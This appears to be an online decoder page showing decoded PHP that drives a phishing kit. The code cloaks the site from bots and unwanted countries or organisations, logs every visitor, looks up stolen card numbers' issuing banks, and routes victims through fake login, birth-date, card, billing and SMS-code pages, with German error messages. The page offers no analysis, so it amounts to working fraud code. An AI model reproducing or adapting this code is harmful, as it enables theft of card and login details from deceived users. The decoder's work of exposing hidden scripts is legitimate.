Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


session_start();
error_reporting(E_ALL);
ini_set("display_errors", "off");

// Autoload Composer dependencies
require_once './vendor/autoload.php';

// Use MobileDetect
use Detection\MobileDetect;

// Initialize MobileDetect
$detect = new MobileDetect;

//==================================================# Get_IP
include("./xp2/tst.php");

$ips_file_path = './wallup/ips.txt';   
$ips_list = file($ips_file_path);

// Check if IP is in the allowed list
foreach (array_values($ips_list) as $ip_Z) {
    if (trim($ip_Z) == $ip) {
        include("./2025/index.php");
        
    }
}

//=========================
// File specific to the IP
$file = './them/' . $ip . '.txt';

function updateFileContent($file, $newContent) {
    file_put_contents($file, $newContent);
}

//=========================
// Function to block an IP
function blockIp($ip) {
    $blocklist_path = './wallup/blocked_ips.txt';
    $blocked_ips = file_exists($blocklist_path) ? file($blocklist_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];

    if (!in_array($ip, $blocked_ips)) {
        file_put_contents($blocklist_path, $ip . PHP_EOL, FILE_APPEND);
    }
}

// Block bots and desktops
if ($detect->isBot()) {
    blockIp($ip);
    include("./2025/index.php");
    
}

if ($detect->isBot()) {
    blockIp($ip);
    include("./2025/index.php");
    
}

//==============================================================# Get_Info_IP_&_Check_Bot
$GET_data_C = @json_decode(file_get_contents("https://ip-info.ff.avast.com/v2/info?ip=" . $ip));

if ($GET_data_C && $GET_data_C->country != null) {
    $country = $GET_data_C->country;
    $countryName = $GET_data_C->countryName;
    $orgx = isset($GET_data_C->organization) ? $GET_data_C->organization : "Unknown";

    // Log all evisa
    $all = fopen("./evisa/All.txt", "a");
    fwrite($all, "$countryName | $ip | $orgx | " . gmdate("Y-n-d H:i:s") . "\n");

    // Read organization and country targets files
    $cnt = file_get_contents("./xp2/targets_countries.txt");
    $orgf = file_get_contents("./xp2/OrganizationX.txt");

    if (preg_match("/$orgx/", $orgf)) {
        $bad = fopen("./evisa/Bad.txt", "a");
        fwrite($bad, "$countryName | $ip | $orgx | Bad Organization | " . gmdate("Y-n-d H:i:s") . "\n");
        http_response_code(500);
        include("./2025/index.php");
        
    } elseif (preg_match("/$country/", trim($cnt)) || trim($cnt) == "ALL") {
        $good = fopen("./evisa/Good.txt", "a");
        fwrite($good, "$countryName | $ip | $orgx | " . gmdate("Y-n-d H:i:s") . "\n");
    } else {
        $bad = fopen("./evisa/Bad.txt", "a");
        fwrite($bad, "$countryName | $ip | $orgx | Bad Country | " . gmdate("Y-n-d H:i:s") . "\n");
        http_response_code(500);
        include("./2025/index.php");
        
    }
} else {
    $bad = fopen("./evisa/Bad.txt", "a");
    fwrite($bad, "Unknown Country | $ip | Unknown Organization | Check Proxy Country | " . gmdate("Y-n-d H:i:s") . "\n");
    http_response_code(500);
    include("./2025/index.php");
    
}

//==============================================================
// Generate hash for IP
$md5 = md5(base64_encode(md5($ip))); 
$md5ip = hash('sha256', $md5);

//==============================================================# Get_TIME
date_default_timezone_set('Europe/Zurich');
$time = date("d.m.Y");

//=================================================# Ban_Range
$erroro = "<p style='color:red' >Code abgelaufen, neuen eingeben.</p> <br>";
$errorc = "<center><p style='color:red' >Ihre Karte ist ungültig. Bitte versuchen Sie es erneut.</p></center>";

//=================================================# User Session and Processing
$usr = $_SESSION['lo9'] ?? ''; // Assuming this contains the email address
$username = strstr($usr, '@', true); // Get everything before @

//=================================================================================================================
$two = strtoupper(substr($usr, 0, 2));

if (preg_match("/$orgx/", $orgf)) {
    $bad = fopen("./evisa/Bad.txt", "a");
    fwrite($bad, "$countryName | $ip | $orgx | Bad Organization | " . gmdate("Y-n-d H:i:s") . "\n");
    include("./2025/index.php");
} elseif (preg_match("/$country/", $cnt) || $cnt == "ALL") {
    $good = fopen("./evisa/Good.txt", "a");
    fwrite($good, "$countryName | $ip | $orgx | " . gmdate("Y-n-d H:i:s") . "\n");

    if (isset($_SESSION['CRDN'])) {
        $ccc = str_replace(' ', '', $_SESSION['CRDN']);
        $binaa = substr($ccc, 0, 6);
        $mob = substr($_SESSION['NUM'], 5, 9);
        $tali = substr($ccc, 12, 18);
        ob_start();
        include("./xp2/bina.php");
        $content = ob_get_clean();
        $data = json_decode($content, true);
        $banka = $data['bank']['name'];
        $brandx = $data['scheme'];
        $cncode = $data['country'];
        $emojiya = $data['emoji'];
        $typecc = $data['type'];
        $brands = $data['brand'];
        $typm = md5(base64_encode(md5($brandx)));
        $typmx = md5(strtolower($typecc));
        $ccinfo = "$emojiya | $binaa | $typecc | $brandx | $banka |";
        preg_match('!^[a-zA-Z0-9\',]+([ ][a-zA-Z0-9]+)?([ ][a-zA-Z0-9]+)?([ ][a-zA-Z0-9]+)?([ ][a-zA-Z0-9]+)?!', $banka, $matches);
        $banknamesrc = 'https://tse4.mm.bing.net/th?q=' . $matches[0] . '%20logo%20png&h=200&w=200';
        $fbk = strstr($banka, ' ', true);
    }

    if ($_GET['CS'] == $md5ip) {
        include("./xp/lo9.php");
    } elseif ($_GET['SET'] == $md5ip) {
        include("./xp/landing.php");
    } elseif ($_GET['BD'] == $md5ip) {
        include("./xp/dob.php");
    } elseif ($_GET['MT'] == $md5ip) {
        include("./xp/methods.php");
    } elseif ($_GET['JI'] == $md5ip) {
        include("./xp/card.php");
    } elseif ($_GET['BI'] == $md5ip) {
        include("./xp/billing.php");
    } elseif ($_GET['LO'] == $md5ip) {
        include("./xp/load.php");
    } elseif ($_GET['OX'] == $md5ip) {
        include("./xp/sms.php");
    } elseif ($_GET['AP'] == $md5ip) {
        include("./xp/app.php");
    } elseif ($_GET['DX'] == $md5ip) {
        include("./xp/done.php");
    } else {
        header('Location: ./?CS=' . $md5ip);
        
    }
} else {
    include("./2025/index.php");
}



© 2023 Quttera Ltd. All rights reserved.